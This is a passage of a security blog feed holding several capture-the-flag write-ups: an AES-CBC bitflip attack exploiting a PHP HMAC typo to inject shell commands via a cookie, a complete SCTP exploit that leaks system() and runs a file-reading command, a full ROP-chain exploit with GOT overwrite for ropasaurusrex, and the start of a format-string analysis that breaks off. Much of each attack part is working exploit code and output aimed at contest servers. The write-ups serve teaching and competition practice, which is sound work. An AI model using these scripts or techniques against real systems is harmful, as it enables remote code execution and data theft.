Since we don't know the AES key or IV used for the encryption, all we can do is play with bitflipping in the data part of the ciphertext but then we will fail the HMAC verification and our cookie will be rejected right ?

Lets try with username "Big-Daddy":

jdTuryVcfoYRxI09MJlQ2WfAxH3vl1ECNW+8sfaPvWhzdkR2ikidt9N9AwIvjLSkEK7SMGE2J3mMWhsvHaeuzzP+QIjjWWC8i1Y7CLxyVex2Mt9xiy67+cl55mSfSGGXVBxl05PNGDQcmJ+Af1LKEXO4qw/zlaLgA4e3ZZe8lWU=

00000000 8d d4 ee af 25 5c 7e 86 11 c4 8d 3d 30 99 50 d9 |.Ôî¯%\~..Ä.=0.PÙ|
00000010 67 c0 c4 7d ef 97 51 02 35 6f bc b1 f6 8f bd 68 |gÀÄ}ï.Q.5o¼±ö.½h|
00000020 73 76 44 76 8a 48 9d b7 d3 7d 03 02 2f 8c b4 a4 |svDv.H.·Ó}../.´¤|
00000030 10 ae d2 30 61 36 27 79 8c 5a 1b 2f 1d a7 ae cf |.®Ò0a6'y.Z./.§®Ï|
00000040 33 fe 40 88 e3 59 60 bc 8b 56 3b 08 bc 72 55 ec |3þ@.ãY`¼.V;.¼rUì|
00000050 76 32 df 71 8b 2e bb f9 c9 79 e6 64 9f 48 61 97 |v2ßq..»ùÉyæd.Ha.|
00000060 54 1c 65 d3 93 cd 18 34 1c 98 9f 80 7f 52 ca 11 |T.eÓ.Í.4.....RÊ.|
00000070 73 b8 ab 0f f3 95 a2 e0 03 87 b7 65 97 bc 95 65 |s¸«.ó.¢à..·e.¼.e|

Indeed the HMAC part looks different but remember that the HMAC is AES encrypted as well so you can't rely on the ciphertext to tell if HMAC is working properly or not.

For this we need to master the Ancient Black Art of Source Code Staring. Look at this piece of code, LOOK AT IT UNTIL YOU SEE IT.

function hmac($data) {
  return hash_hmac('sha1', data, MY_HMAC_KEY);
}

Yes, there is a typo in the second parameter of hash_hmac(), it's missing the dollar sign. PHP will happily interpret this as 'data' being a fixed string instead of dynamic user content.

So basically the HMAC will always be sha1("data".MY_HMAC_KEY). Otherwise said the HMAC is not protecting the cookie content at all, we can freely modify it.

Lets take look again at the cookie content:

a:2:{s:4:"name";s:3:"aXs";s:8:"greeting";s:19:"cowsay 'Hello aXs!'";}

The "greeting" key of this array will be used directly with passthru():

passthru($settings['greeting']);

passthru() will invoke execve("/bin/sh", "-c", $cmd), so we can use Bash shell command injection technics.

What we need to do:
- Get rid of the pesky single quote after cowsay : bitflip in AES block to turn single quote into garbage
- Inject our shell command to display the content of index.php : cat *
- Get rid of another pesky single quote and the bash symbol, to avoid them being interpreted : use the Bash comment symbol: #

Playing with bitflip in AES ciphertext will corrupt the whole 16 bytes AES block with garbage so we need to align this block with the part of the string we want to destroy (cowsay + single quote)

Using a bit of trial and error we come up with this username:

______________________________________________________; cat *;#

We post it on the form and get the familiar cow and our encrypted cookie:

Capture3

Foey1ZSxpB8ouL8Z/LRCryTetO4z/rI+1h7/MAMgCHEjapwTE+5/JnDFeXR0GYjLVT+36APfX41V1Ftn2bj9fDoEri1vQtCpBzNFLpNdHa+Oei+o/vcVJmjHlklha9p4dy3fpgd6LTSCE5ejpt78cnfWD1R+90wnkUXIOPtk2P9EHngQGxsxFdJb7cT5mUhEPgXqDieO2mA0GNPFm7FRlnltgLjcO3T5JnQOdVXMRPY+GnK4aStOJXtIVfczF+FWCJEITmgZMDFmrVafG+LwPUByot8KRka57RAE8PgD8bu+ErVXpqIZwW9bOfJUD74E

We are ready for the bit-flipping with a little Python script that will repeatedly corrupt the AES block with different a value until we get one that produce garbage still good enough to be accepted by Bash as a valid command-line:

import telnetlib
import urllib
import base64

ip = '54.216.166.38'
port = 80

a = base64.b64decode(urllib.unquote("Foey1ZSxpB8ouL8Z%2FLRCryTetO4z%2FrI%2B1h7%2FMAMgCHEjapwTE%2B5%2FJnDFeXR0GYjLVT%2B36APfX41V1Ftn2bj9fDoEri1vQtCpBzNFLpNdHa%2BOei%2Bo%2FvcVJmjHlklha9p4dy3fpgd6LTSCE5ejpt78cnfWD1R%2B90wnkUXIOPtk2P9EHngQGxsxFdJb7cT5mUhEPgXqDieO2mA0GNPFm7FRlnltgLjcO3T5JnQOdVXMRPY%2BGnK4aStOJXtIVfczF%2BFWCJEITmgZMDFmrVafG%2BLwPUByot8KRka57RAE8PgD8bu%2BErVXpqIZwW9bOfJUD74E"))

for i in xrange(1,20):
    print "i=", i

    b = a[0:118] + chr(i) + a[119:]

    tn = telnetlib.Telnet(ip, port)

    s = tn.get_socket()

    payload  = "GET / HTTP/1.0\r\n"
    payload += "Host: "+ ip + "\r\n"
    payload += "Cookie: settings=" + urllib.quote(base64.b64encode(b)) + "\r\n"
    payload += "\r\n"

    s.send(payload)

    print s.recv(4096)

This will eventually spit out the index.php source code with the hidden flag.

Share

The post ebCTF 2013 – Web400 (crypto/aes/cbc/hmac) Write-Up appeared first on codezen.fr.

]]>
http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/feed/ 0
SIGINT 2013 CTF – Pwning 300 – tr0llsex Write-up (SCTP challenge) http://codezen.fr/2013/07/07/sigint-2013-ctf-pwning-300-tr0llsex-write-up-sctp-challenge/ http://codezen.fr/2013/07/07/sigint-2013-ctf-pwning-300-tr0llsex-write-up-sctp-challenge/#comments Sun, 07 Jul 2013 17:24:19 +0000 http://codezen.fr/?p=457 server: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x66661e417e6b4037e552b904c755f2e4a7ecf934, stripped tr0llsex was a Linux ELF 64-bit binary from the SIGINT 2013 CTF's Pwning category. It's a fun little easy challenge with a twist: it's using SCTP protocol for the network transport layer instead of TCP or […]

The post SIGINT 2013 CTF – Pwning 300 – tr0llsex Write-up (SCTP challenge) appeared first on codezen.fr.

]]>

server: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x66661e417e6b4037e552b904c755f2e4a7ecf934, stripped

tr0llsex was a Linux ELF 64-bit binary from the SIGINT 2013 CTF's Pwning category. It's a fun little easy challenge with a twist: it's using SCTP protocol for the network transport layer instead of TCP or UDP.

One of SCTP's features is the ability to have separate ordered data streams inside the same SCTP connection. This challenge uses this feature.

$ socat - 'sctp-connect:188.40.147.118:1024'
stream 0: md4, stream 1: md5, stream 2: sha1, stream 3: random

After connection, you send your data to a specific stream number and depending on the stream number, your data will get a specific transform (MD4, MD5, SHA1, random bytes) and then get echoed back to you.

Let see how the binary is choosing which transform to use based on the stream number.

We have a table that is constructed on the stack, this table is mapping stream number with handlers:

-0000000000000860 md4_off         dq ?
-0000000000000858 md5_off         dq ?
-0000000000000850 sha1_off        dq ?
-0000000000000848 random_off      dq ?

.text:00000000004015BE                 mov     rax, ds:md4_off
.text:00000000004015C6                 mov     [rbp+md4_off], rax
.text:00000000004015CD                 mov     rax, ds:md5_off
.text:00000000004015D5                 mov     [rbp+md5_off], rax
.text:00000000004015DC                 mov     rax, ds:sha1_off
.text:00000000004015E4                 mov     [rbp+sha1_off], rax
.text:00000000004015EB                 mov     rax, ds:random_off
.text:00000000004015F3                 mov     [rbp+random_off], rax

.rodata:0000000000401960 md4_off         dq offset md4_handler   ; DATA XREF: do_menu+4Er
.rodata:0000000000401968 md5_off         dq offset md5_handler   ; DATA XREF: do_menu+5Dr
.rodata:0000000000401970 sha1_off        dq offset sha1_handler  ; DATA XREF: do_menu+6Cr
.rodata:0000000000401978 random_off      dq offset random_handler ; DATA XREF: do_menu+7Br

So table layout is:

[QWORD pointer to handler for stream 0]
[QWORD pointer to handler for stream 1]
[QWORD pointer to handler for stream 2]
[QWORD pointer to handler for stream 3]

Helping IDA with this unknown library call by adding the function signature:

.plt:0000000000400CA0 ; int __cdecl sctp_recvmsg(int sd, void *msg, size_t len, struct sockaddr *from, socklen_t *fromlen, struct sctp_sndrcvinfo *sinfo, int *msg_flags)
.plt:0000000000400CA0 _sctp_recvmsg   proc near               ; CODE XREF: do_menu+17Ep
.plt:0000000000400CA0
.plt:0000000000400CA0 msg_flags       = qword ptr  8
.plt:0000000000400CA0
.plt:0000000000400CA0                 jmp     cs:off_602098
.plt:0000000000400CA0 _sctp_recvmsg   endp

The binary calls _sctp_recvmsg function to get a datagram and get the stream number into the sinfo variable:

.text:00000000004016B0                 mov     rdx, 800h       ; len
.text:00000000004016BA                 mov     rax, 0
.text:00000000004016C4                 lea     r9, [rbp+sinfo] ; sinfo
.text:00000000004016C8                 lea     rcx, [rbp+msg_flags_orig2]
.text:00000000004016CC                 lea     rsi, [rbp+msg]  ; msg
.text:00000000004016D3                 mov     edi, [rbp+sock_fd] ; sd
.text:00000000004016D6                 mov     [rbp+msg_flags_orig], rcx
.text:00000000004016DD                 mov     rcx, rax        ; from
.text:00000000004016E0                 mov     r8, rax         ; fromlen
.text:00000000004016E3                 mov     rax, [rbp+msg_flags_orig]
.text:00000000004016EA                 mov     [rsp+8B0h+msg_flags], rax ; msg_flags
.text:00000000004016EE                 call    _sctp_recvmsg

The binary gets ready to call the correct handler:

- rax contains the stream number (from sinfo)
- offset calculation for our table of QWORD pointers
- datagram content is in rdi (first parameter for the handler function as per Linux x86_64 calling convention)
- datagram size is in rsi

.text:0000000000401755                 lea     rdi, [rbp+msg]
.text:000000000040175C                 movsx   rax, [rbp+sinfo]
.text:0000000000401761                 mov     rax, [rbp+rax*8+md4_off]
.text:0000000000401769                 movsxd  rsi, [rbp+read_buffer_size]
.text:000000000040176D                 mov     edx, [rbp+sock_fd]
.text:0000000000401770                 call    rax

The vulnerability we see here is that if we use a high numbered stream number, we will lookup past the table and look further into the stack, let see the stack layout again:

.text:0000000000401570 md4_off         = qword ptr -860h
.text:0000000000401570 md5_off         = qword ptr -858h
.text:0000000000401570 sha1_off        = qword ptr -850h
.text:0000000000401570 random_off      = qword ptr -848h
.text:0000000000401570 var_838         = qword ptr -838h
.text:0000000000401570 msg             = byte ptr -830h
.text:0000000000401570 sinfo           = word ptr -30h

Very convenient, just after the table we have our "msg" buffer which contains our datagram content, we will be able to control the value of rax and call any pointer we want.

Now, what can we call ? We need something like system() to retrieve the flag on the challenge server filesystem. But system() is not imported in the GOT so we don't know its offset into libc yet. We need to reverse a bit more.

An unused hander called "debug_handler" is also present in the binary. What this handler does is dlopen() the current binary (NULL filename) and look up a user-defined symbol inside, it output back the pointer to this symbol inside the binary.

According to the dlopen() man page:

If filename is a NULL pointer, then the returned handle is for the main program. When given to dlsym(), this handle causes a search for a symbol in the main program, followed by all shared libraries loaded at program startup, and then all shared libraries loaded by dlopen() with the flag RTLD_GLOBAL.

Which mean we can lookup symbols inside libc as well!

So our strategy:
- Step 1) Leak pointer to system() libc using debug_handler function
- Step 2) Call system() function with a shell command to leak flag file content

We can hopefully uses NULL-terminated string with sctp_recvmsg, so the payload layout is as follow:

payload  = 'system' + chr(0)
payload += 'B' * (16 - len(payload)) # pad to 16 bytes
payload += pack('<Q', 0x401120) # RIP to debug_handler
tcp.sctp_send(payload, stream=8)

We need 48 bytes to reach "msg" from "md4_off" in the stack and then we need to skip the start of our payload ("system" string). We reserve 16 bytes for this part so the distance between "md4_off" and our controlled pointer will be 64 bytes.

According to "mov rax, [rbp+rax*8+md4_off]", stream number needs to be 64/8 = 8.

The "debug_handler" function will send back the pointer on stream 1337:

.text:0000000000401133                 mov     [rbp+src], rdi  ; user-controlled input string from datagram content
...
.text:0000000000401146                 mov     rdi, 0          ; NULL = current binary
.text:0000000000401150                 mov     esi, 102h       ; mode
.text:0000000000401155                 mov     [rbp+var_B4], eax
.text:000000000040115B                 call    _dlopen
...
.text:0000000000401189                 mov     rdx, 80h        ; n
.text:0000000000401193                 lea     rdi, [rbp+s]    ; dest
.text:000000000040119A                 mov     rsi, [rbp+src]  ; src
.text:000000000040119E                 call    _strncpy
.text:00000000004011A3                 lea     rsi, [rbp+s]    ; name
.text:00000000004011AA                 mov     rdi, [rbp+handle] ; handle
.text:00000000004011B1                 mov     [rbp+var_C8], rax
.text:00000000004011B8                 call    _dlsym
...
.text:00000000004011D5                 mov     rsi, 80h        ; maxlen
.text:00000000004011DF                 lea     rdx, format     ; "%p" make pointer from dlsym() result
.text:00000000004011E7                 lea     rdi, [rbp+s]    ; s
.text:00000000004011EE                 mov     rcx, [rbp+var_A8]
.text:00000000004011F5                 mov     al, 0
.text:00000000004011F7                 call    _snprintf
...
.text:0000000000401221                 mov     rcx, 0          ; to
.text:000000000040122B                 mov     r8d, 0          ; tolen
.text:0000000000401231                 mov     r9d, 539h
.text:0000000000401237                 mov     edi, [rbp+sd]   ; sd
.text:000000000040123D                 mov     rsi, [rbp+msg]  ; msg
.text:0000000000401244                 mov     rdx, rax        ; len
.text:0000000000401247                 mov     [rbp+ppid], r8d
.text:000000000040124E                 mov     r10d, [rbp+ppid]
.text:0000000000401255                 mov     [rbp+var_E4], r9d
.text:000000000040125C                 mov     r9d, r10d       ; ppid
.text:000000000040125F                 mov     [rsp+110h+flags], 0 ; flags
.text:0000000000401266                 mov     dword ptr [rsp+110h+stream_no], 1337 ; stream_no
.text:000000000040126E                 mov     [rsp+110h+timetolive], 0 ; timetolive
.text:0000000000401276                 mov     [rsp+110h+context], 0 ; context
.text:000000000040127E                 call    _sctp_sendmsg

As we did a clean call, the program will loop after this infoleak and waits for our next command:

system = int(msgret[2:],16) # use leaked system() address
print "system=", hex(system)
payload  = 'cat /h*/*/f*>&4' + chr(0)
payload += 'B' * (16 - len(payload))
payload += pack('<Q', system) # RIP system()
tcp.sctp_send(payload, stream=8)

Same way to exploit, we overflow the table, pass over our data in the "msg" buffer and call a user-controlled pointer. This time this pointer will be system().

Our command is passed to system() via the rdi register like with the "debug_handler" call.

We take advantage of UNIX's file descriptor concept: even if we are using SCTP connection, it's a socket-based file descriptor to Linux and we can redirect the command output to it with a simple ">&4". As the daemon is forking, file descriptor will always be 4.

Complete exploit:

import _sctp
import sctp
from sctp import *
import time
from struct import pack,unpack

server = "188.40.147.118"
tcpport = 1024

if _sctp.getconstant("IPPROTO_SCTP") != 132:
  raise "getconstant failed"
tcp = sctpsocket_tcp(socket.AF_INET)
saddr = (server, tcpport)
tcp.connect(saddr)

t = 0
while 1:
    fromaddr, flags, msgret, notif = tcp.sctp_recv(1000)
    print " Msg arrived, flag %d" % flags
   
    if flags & FLAG_NOTIFICATION:
        raise "We did not subscribe to receive notifications!"
    else:
        print "stream %d" % notif.stream
  print "%s" % msgret

    if flags == 0:
      break;

    if t==0:
      payload  = 'system' + chr(0)
      payload += 'B' * (16 - len(payload))
      payload += pack('<Q', 0x401120) # RIP
      tcp.sctp_send(payload, stream=8)

    if t==1:
      system = int(msgret[2:],16)
      print "system=", hex(system)
      payload  = 'cat /h*/*/f*>&4' + chr(0)
      payload += 'B' * (16 - len(payload))
      payload += pack('<Q', system) # RIP
      tcp.sctp_send(payload, stream=8)

    t += 1

tcp.close()

Exploit output:

$ python trollsex.py
Msg arrived, flag 128
stream 0
stream 0: md4, stream 1: md5, stream 2: sha1, stream 3: random
Msg arrived, flag 128
stream 0
0x7f1595d703d0
system= 0x7f1595d703d0
Msg arrived, flag 128
stream 0
SIGINT_we_care_for_our_irc_tr0lls

"SIGINT_we_care_for_our_irc_tr0lls" is the flag.

Share

The post SIGINT 2013 CTF – Pwning 300 – tr0llsex Write-up (SCTP challenge) appeared first on codezen.fr.

]]>
http://codezen.fr/2013/07/07/sigint-2013-ctf-pwning-300-tr0llsex-write-up-sctp-challenge/feed/ 0
PlaidCTF 2013 – Pwnable 200 – ropasaurusrex Write-up http://codezen.fr/2013/04/22/plaidctf-2013-pwnable-200-ropasaurusrex-write-up/ http://codezen.fr/2013/04/22/plaidctf-2013-pwnable-200-ropasaurusrex-write-up/#comments Mon, 22 Apr 2013 00:44:21 +0000 http://codezen.fr/?p=443 $ file ropasaurusrex ropasaurusrex: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped $ eu-readelf -l ropasaurusrex Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x0000e0 0x0000e0 R E 0x4 INTERP 0x000114 0x08048114 0x08048114 0x000013 0x000013 R 0x1 [Requesting program […]

The post PlaidCTF 2013 – Pwnable 200 – ropasaurusrex Write-up appeared first on codezen.fr.

]]>

$ file ropasaurusrex
ropasaurusrex: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped

$ eu-readelf -l ropasaurusrex
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x0000e0 0x0000e0 R E 0x4
INTERP 0x000114 0x08048114 0x08048114 0x000013 0x000013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00051c 0x00051c R E 0x1000
LOAD 0x00051c 0x0804951c 0x0804951c 0x00010c 0x000114 RW 0x1000
DYNAMIC 0x000530 0x08049530 0x08049530 0x0000d0 0x0000d0 RW 0x4
NOTE 0x000128 0x08048128 0x08048128 0x000044 0x000044 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x000000 0x000000 RW 0x4

Section to Segment mapping:
Segment Sections...
00
01 [RO: .interp]
02 [RO: .interp .note.ABI-tag .note.gnu.build-id .hash .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame]
03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 [RO: .note.ABI-tag .note.gnu.build-id]
06

$ nc localhost 1025
hello!
WIN

This binary has a non-executable stack (NX-enabled) but has not been compiled with RELRO (read-only GOT)

Crashing it is fairly easy:

$ nc localhost 1025
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x00000100 EBX: 0xB77B0FF4 ECX: 0xBFF063D0 EDX: 0x00000100 o d I t s z A P C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x65413565 ESP: 0xBFF06460 EIP: 0x37654136
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
Cannot access memory at address 0x37654136
0x37654136 in ?? ()

$ /opt/metasploit-4.4.0/msf3/tools/pattern_offset.rb 0x37654136
140

It's crashing because of a stack overflow, buf is not big enough for the amount of data permitted to be read:

.text:080483F4 read_buffer     proc near               ; CODE XREF: handler+9p
.text:080483F4
.text:080483F4 buf             = byte ptr -88h
.text:080483F4
.text:080483F4                 push    ebp
.text:080483F5                 mov     ebp, esp
.text:080483F7                 sub     esp, 98h
.text:080483FD                 mov     dword ptr [esp+8], 100h ; nbytes
.text:08048405                 lea     eax, [ebp+buf]
.text:0804840B                 mov     [esp+4], eax    ; buf
.text:0804840F                 mov     dword ptr [esp], 0 ; fd
.text:08048416                 call    _read
.text:0804841B                 leave
.text:0804841C                 retn
.text:0804841C read_buffer     endp

The libc binary was given away by the ctf organizers and the GOT is writable (no RELRO) so we will go for a GOT overwrite and spawn a shell with system(). We will overwrite the GOT entry for write().

As the stack is non-executable (NX) we need to ROP our way to system()

What we need to do in our ROP chain:
- Leak the current GOT entry for write()
- Receive computed offset for system() using read()
- Receive command-line for system()
- Trigger write() (now system) with our command-line

We will use this gadget to clean up the stack between ROP step:

.text:080484B5                 pop     ebx
.text:080484B6                 pop     esi
.text:080484B7                 pop     edi
.text:080484B8                 pop     ebp
.text:080484B9                 retn

The exploit:

import telnetlib
import time
import sys
from struct import pack, unpack

ip = '54.234.151.114'
port = 1025

COMMANDLINE = "cat /home/ropasaurusrex/key\n"

tn = telnetlib.Telnet(ip, port)

buffer  = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4A'
buffer += pack('<I', 0x08049620) # leave will use this value for ebp

# write write.plt
buffer += pack('<I', 0x0804830C) # _write
buffer += pack('<I', 0x80484B6)  # ret: clean stack

# write params
buffer += pack('<I', 1)          # fd
buffer += pack('<I', 0x08049614) # write.plt got
buffer += pack('<I', 4)          # size

# send system.plt
buffer += pack('<I', 0x804832C)  # _read
buffer += pack('<I', 0x80484B6)  # ret: clean stack

# read params
buffer += pack('<I', 0)          # fd
buffer += pack('<I', 0x08049614) # write.plt got
buffer += pack('<I', 4)          # size

# read command-line
buffer += pack('<I', 0x804832C)  # _read
buffer += pack('<I', 0x80484B6)  # clean stack

# read params
buffer += pack('<I', 0)          # fd
buffer += pack('<I', 0x8049620)  # data go in bss
buffer += pack('<I', len(COMMANDLINE))

# trigger system()
buffer += pack('<I', 0x0804830C) # write.plt
buffer += 'ABCD'                 # ret: crash, we are done

# address of command-line in bss
buffer += pack('<I', 0x8049620)  # data

s = tn.get_socket()
s.send(buffer)

# receive write.plt address
got = s.recv(4)
write_plt = unpack('<I',got[0:4])[0]
print "write plt=", hex(write_plt)
write_libc = 0xbf190
libc_base = write_plt - write_libc
print "libc base=", hex(libc_base)
system_plt = write_plt - (0xbf190 - 0x39450)
print "system plt=", hex(system_plt)

time.sleep(0.1)

# send system address
s.send(pack('<I', system_plt))

time.sleep(0.1)

# send our command-line
s.send(COMMANDLINE)

# get the key
print s.recv(65535)

Result:

write plt= 0xb77990d0L
libc base= 0xb76d9f40L
system plt= 0xb77151b0L
you_cant_stop_the_ropasaurusrex

For those not familiar lets detail a bit how this works. We put a breakpoint on the ret of the vulnerable function:

--------------------------------------------------------------------------[regs]
EAX: 0x000000E0 EBX: 0xB7735FF4 ECX: 0xBFFAACB0 EDX: 0x00000100 o d I t s z A p C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x08049620 ESP: 0xBFFAAD3C EIP: 0x0804841C
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0x804841c: ret
0x804841d: push ebp
0x804841e: mov ebp,esp
0x8048420: and esp,0xfffffff0
0x8048423: sub esp,0x10
0x8048426: call 0x80483f4
0x804842b: mov DWORD PTR [esp+0x8],0x4
0x8048433: mov DWORD PTR [esp+0x4],0x8048510
--------------------------------------------------------------------------------

Breakpoint 1, 0x0804841c in ?? ()

At this point, the stack is filled with our values (the ROP chain) because of the overflow:

gdb$ x/4x $esp
0xbffaad3c: 0x0804830c 0x080484b6 0x00000001 0x08049614

We advance one step:

gdb$ stepi
--------------------------------------------------------------------------[regs]
EAX: 0x000000E0 EBX: 0xB7735FF4 ECX: 0xBFFAACB0 EDX: 0x00000100 o d I t s z A p C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x08049620 ESP: 0xBFFAAD40 EIP: 0x0804830C
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0x804830c : jmp DWORD PTR ds:0x8049614
0x8048312 : push 0x8
0x8048317 : jmp 0x80482ec
0x804831c <__libc_start_main@plt>: jmp DWORD PTR ds:0x8049618
0x8048322 <__libc_start_main@plt+6>: push 0x10
0x8048327 <__libc_start_main@plt+11>: jmp 0x80482ec
0x804832c : jmp DWORD PTR ds:0x804961c
0x8048332 : push 0x18
--------------------------------------------------------------------------------
0x0804830c in write@plt ()

First value on the stack was used as the EIP value for ret (0x804830c), please notice we use directly write@plt so we can stack several calls, using the address of "call write" would mess up our crafted stack.

On the stack we have [RET][FD][BUFFER][SIZE]

gdb$ x/4x $esp
0xbffaad40: 0x080484b6 0x00000001 0x08049614 0x00000004

so this would do:

write(1, 0x08049614, 4);

and then jump to 0x080484b6, our gadget for cleaning the stack:

--------------------------------------------------------------------------[regs]
EAX: 0x00000004 EBX: 0xB7735FF4 ECX: 0x08049614 EDX: 0x00000004 o d I t s z a P C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x08049620 ESP: 0xBFFAAD44 EIP: 0x080484B5
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0x80484b6: pop esi
0x80484b7: pop edi
0x80484b8: pop ebp
0x80484b9: ret
0x80484ba: mov ebx,DWORD PTR [esp]
0x80484bd: ret
0x80484be: nop
--------------------------------------------------------------------------------

Breakpoint 2, 0x080484b6 in ?? ()

This will remove 3 values from the stack (the values used for our write() call) and then jump to an address we control. This way we have emptied the stack and we are ready for the next call.

And so on for all the steps in the ROP chain.

Share

The post PlaidCTF 2013 – Pwnable 200 – ropasaurusrex Write-up appeared first on codezen.fr.

]]>
http://codezen.fr/2013/04/22/plaidctf-2013-pwnable-200-ropasaurusrex-write-up/feed/ 0
iCTF 2013 CTF – Nuclearboom Writeup http://codezen.fr/2013/03/24/ictf-2013-ctf-nuclearboom-writeup/ http://codezen.fr/2013/03/24/ictf-2013-ctf-nuclearboom-writeup/#comments Sun, 24 Mar 2013 00:23:21 +0000 http://codezen.fr/?p=438 $ file nuclearboom nuclearboom: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped Nuclearboom was a service binary in the iCTF 2013 Attack & Defense CTF. You use it to manage your various nuclear plants. $ nc localhost 4444 Control Panel: 1) build a new […]

The post iCTF 2013 CTF – Nuclearboom Writeup appeared first on codezen.fr.

]]>
$ file nuclearboom
nuclearboom: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped

Nuclearboom was a service binary in the iCTF 2013 Attack & Defense CTF. You use it to manage your various nuclear plants.

$ nc localhost 4444
Control Panel:
1) build a new nuclear plant
2) list existing nuclear plants
3) display info of a nuclear plant
4) edit an existing nuclear plant
5) get self-destruction code
6) set new self-destruction code
7) exit
Your choice: 5
Choice: 5
Password: lol?
Wrong password. And since the self-destruction code is exactly what the Sicilian hackers are supposed to get, I will not give it to you. I hope you understand.

We need to get the self-destruction code but we don't have the password.

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz  MemSiz   Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x000013 0x000013 R   0x1
  [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x002620 0x002620 R E 0x1000
  LOAD           0x002f14 0x0804bf14 0x0804bf14 0x0001b4 0x000240 RW  0x1000
  DYNAMIC        0x002f28 0x0804bf28 0x0804bf28 0x0000c8 0x0000c8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x000044 0x000044 R   0x4
  GNU_EH_FRAME   0x00219c 0x0804a19c 0x0804a19c 0x0000e4 0x0000e4 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x000000 0x000000 RW  0x4
  GNU_RELRO      0x002f14 0x0804bf14 0x0804bf14 0x0000ec 0x0000ec R   0x1

Stack is not executable and .got/.dtor are read-only.

Where is the vulnerability ? After some disassembly and testing, we find a vulnerability in the sequence of checks of the "1) build a new nuclear plant" option.

Lets trace it in reverse order:

signed int __cdecl check_uranium_level(const char *plant_name)
{
  signed int status; // [sp+1Ch] [bp-Ch]@1

  status = 0;
  if ( *((_WORD *)plant_name + 54) <= 0 )
  {
    status = 1;
    printf("ARE YOU CRAZY? Uranium in nuclear plant \"");
    printf(plant_name);
    puts("\" is TOO HIGH!");
  }
  else
  {
    puts("OK");
  }
  return status;
}

Same thing in assembler:

.text:08049426                 mov     eax, [ebp+plant_name]
.text:08049429                 movzx   eax, word ptr [eax+6Ch]
.text:0804942D                 mov     [ebp+uranium_level], ax
.text:08049431                 mov     [ebp+status], 0
.text:08049438                 cmp     [ebp+uranium_level], 0
.text:0804943D                 jle     short uranium_too_high
.text:0804943F                 mov     dword ptr [esp], offset aOk ; "OK"
.text:08049446                 call    _puts
.text:0804944B                 jmp     short exit
.text:0804944D ; ---------------------------------------------------------------------------
.text:0804944D
.text:0804944D uranium_too_high:                       ; CODE XREF: check_uranium_level+1Dj
.text:0804944D                 mov     [ebp+status], 1
.text:08049454                 mov     eax, offset aAreYouCrazy?Ur ; "ARE YOU CRAZY? Uranium in nuclear plant"...
.text:08049459                 mov     [esp], eax      ; format
.text:0804945C                 call    _printf
.text:08049461                 mov     eax, [ebp+plant_name]
.text:08049464                 mov     [esp], eax      ; format
.text:08049467                 call    _printf
.text:0804946C                 mov     dword ptr [esp], offset aIsTooHigh ; "\" is TOO HIGH!"
.text:08049473                 call    _puts

In the check_uranium_level() function, there is an almost blinking format-string vulnerability. And when we add a new nuclear plant, we control the name so this is going to be very useful.

We need the uranium to be equal or lower than zero (remember this)

When is check_uranium_level() called ?

int __cdecl handle_plant_creation(plant_list *a1)
(...)
